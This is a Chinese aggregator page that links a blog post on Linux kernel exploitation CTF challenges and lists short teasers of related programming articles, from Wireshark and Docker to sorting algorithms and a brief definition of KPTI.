https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/660141.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

说精神力量的词,愿力很神奇

说精神力量的词&#xff0c;愿力最神奇&#xff01; ​愿力&#xff0c;心力&#xff0c;精神&#xff0c;精 气 神&#xff0c;气 &#xff0c;能量 【能量】是个外来词 趣讲大白话&#xff1a;200天了&#xff0c;布道的愿力推动我 【趣讲信息科技200期】 ******************…

【换根DP】生活在树上

换根DP板子题 D-生活在树上_牛客小白月赛46 (nowcoder.com) 题意&#xff1a; 思路&#xff1a; 看数据范围是1e6且是统计问题&#xff0c;求的是对于每一个点的统计问题&#xff0c;那就逃不出是换根DP了 首先dfs1一次把树形DP求出来&#xff0c;然后再考虑换根 设dp[u]…

Wireshark抓包分析(ARP TCP DNS HTTP)

目录 一、ARP 二、DNS 三、TCP TCP的总过程&#xff1a; ​TCP三次握手&#xff1a; TCP四次挥手&#xff1a; 四、HTTP 一、ARP 1.ARP&#xff08;Address Resolution Protocol&#xff09;&#xff0c;是根据IP地址获取物理地址的一个TCP/IP协议。 我们要抓ARP 同网段内…

(学习日记)2023.06.15

写在前面&#xff1a; 由于时间的不足与学习的碎片化&#xff0c;写博客变得有些奢侈。 但是对于记录学习&#xff08;忘了以后能快速复习&#xff09;的渴望一天天变得强烈。 既然如此 不如以天为单位&#xff0c;以时间为顺序&#xff0c;仅仅将博客当做一个知识学习的目录&a…

0003-TIPS-2020-hxp-kernel-rop : bypass-KPTI-with-trampoline

KPTI KPTI描述内容摘录自ctf wiki KPTI 机制最初的主要目的是为了缓解 KASLR 的绕过以及 CPU 侧信道攻击。 在 KPTI 机制中&#xff0c;内核态空间的内存和用户态空间的内存的隔离进一步得到了增强。 内核态中的页表包括用户空间内存的页表和内核空间内存的页表。 用户态的页…

minikube 试炼

点我进入 minikube 试炼 今天我们先来尝试使用一下 minikube &#xff0c;可以进入到 https://kubernetes.io/zh/docs/tutorials/hello-minikube/ 页面上直接感受&#xff0c;或者通过如下指令&#xff0c;将 minikube 放入我们的服务器上面进行使用 简单安装 minikube Linu…

在Centos Stream 9上Docker的实操教程(六) - Docker Compose容器编排详解

在Centos Stream 9上Docker的实操教程 - Docker Compose容器编排详解 前言什么是Docker-Compose下载安装和卸载使用仓库安装手动安装卸载 docker compose常用命令项目实战构建SpringBoot项目编写Dockerfile文件编写Docker-Compose.yml文件 运行测试相关注意事项结语 前言 在了…

使用Pyinstall将PyQT5工程打包成.exe应用程序(包含图标一同打包)

1.首先安装pyinstaller。 pip install pyinstaller 2.PyQT5制作程序中使用到的ico等一系列图标文件&#xff0c;要先经过.qrc文件转成.py文件后&#xff0c;才可跟随打包文件一同打包。 首先创建一个.qrc文件&#xff0c;将图片文件全部写进去&#xff0c;例如: <RCC>&…

selenium 调用本地浏览器插件

本文所有教程及源码、软件仅为技术研究。不涉及计算机信息系统功能的删除、修改、增加、干扰,更不会影响计算机信息系统的正常运行。不得将代码用于非法用途,如侵立删!selenium 使用本地浏览器插件 环境 win10Python3.9selenium 4.10查看chrome配置文件路径 地址栏输入 ​​…

Python 请求分页

文章目录 什么是 Python 中的分页带有下一个按钮的 Python 分页没有下一个按钮的 Python 分页无限滚动的 Python 分页带有加载更多按钮的分页 在本文中&#xff0c;我们将了解分页以及如何克服 Python 中与分页相关的问题。 读完本文后&#xff0c;我们将能够了解 Python 分页以…

TensorHouse仓库介绍

目录 1 TensorHouse介绍 2 说明性例子 3模型列表 4基本组件 5方法 6参考 7后续计划 1 TensorHouse介绍 代码仓库&#xff1a;GitHub - ikatsov/tensor-house: A collection of reference machine learning and optimization models for enterprise operations: marketi…

插入排序-C语言实现

&#x1f970;前言 &#x1f354;在学数据结构的第一节课就知道了数据结构课程是要管理并且学会操作数据&#xff0c;当然操作数据首先想到的就是数据的排序&#xff0c;排过顺序的数据的使用价值才够大。前面我们学习了顺序表也学习了链表等等&#xff0c;这些就是储存数据的方…

哲学家就餐问题

哲学家就餐问题是一个著名的一类同步问题&#xff0c;在并发编程领域&#xff0c;常用来解释线程同步的问题。 问题描述&#xff1a;五位哲学家围坐在一张圆桌旁&#xff0c;每个哲学家面前有一碗米饭和一只筷子。这五个哲学家都是苦于无法同时持有两只筷子&#xff0c;因为只…

Autosar软件组件-Application Layer介绍和SWC(Software Component)类型

参考前文Autosar-软件架构,可知整个架构从上到下分层依次为:应用层(Application Software Layer),运行时环境(Runtime Environment,RTE),基础软件层(Basic Software Layer,BSW),微控制器(Microcontroller)。 Application Layer由各种AUTOSAR Software Componen…

【备战秋招】每日一题:华东师范大学保研机试-2022-整数排序

为了更好的阅读体检&#xff0c;可以查看我的算法学习博客华东师范大学保研机试-2022-整数排序 题目内容 输入若干个int类型整数&#xff0c;将整数按照位数由大到小排序&#xff0c;如果位数相同&#xff0c;则按照整数本身从小到大排序。 例如, 输入:10 -3 1 23 89 100 9…

【第四次】21级计科计算机组成原理课外练习

【第四次】21级计科计算机组成原理课外练习 一、判断题二、单选题三、多选题四、填空题五、程序填空题 一、判断题 1-1 设机器数字长8位&#xff08;含1位符号位&#xff09;&#xff0c;若机器数BAH为原码&#xff0c;算术右移一位得到的结果为 9D H 。 T F 1-2 ALU中采用双…

spring 反射,BigDecimal,自定义注解的使用(aop)

反射 利用反射调用它类中的属性和方法时&#xff0c;无视修饰符。 获取Class类的对象&#xff08;三种方式&#xff09; Class.forName(“全类名”) &#xff08;推荐使用&#xff09;类名.class对象.getClass() 反射获取构造方法Constructor<?>[] getConstructors()…

Android 逆向之脱壳实战篇

作者&#xff1a;37手游安卓团队 前言 这篇文章比较干&#xff0c;比较偏实战&#xff0c;看之前建议先喝足水&#xff0c;慎入。 在学脱壳之前&#xff0c;我们先来复习一下&#xff0c;什么时候是加固&#xff1f; 加固本质上就是对 dex 文件进行加壳处理&#xff0c;让一些…

信号三大阶段之储存信号

目录 一、 信号三大阶段 二、信号储存相关概念 三、 理解概念 四、信号储存原理 五、信号集操作函数 一、 信号三大阶段 二、信号储存相关概念 实际执行信号的过程被称为信号递达&#xff08;Delivery&#xff09;。信号从产生到递达之间的状态被称为信号未决&#xff08;…

【Linux】初步认识Linux系统

Linux 操作系统 主要作用是管理好硬件设备&#xff0c;并为用户和应用程序提供一个简单的接口&#xff0c;以便于使用。 作为中间人&#xff0c;连接硬件和软件 常见操作系统 桌面操作系统 WindowsmacOsLinux 服务器操作系统 LinuxWindows Server 嵌入式操作系统 Linux …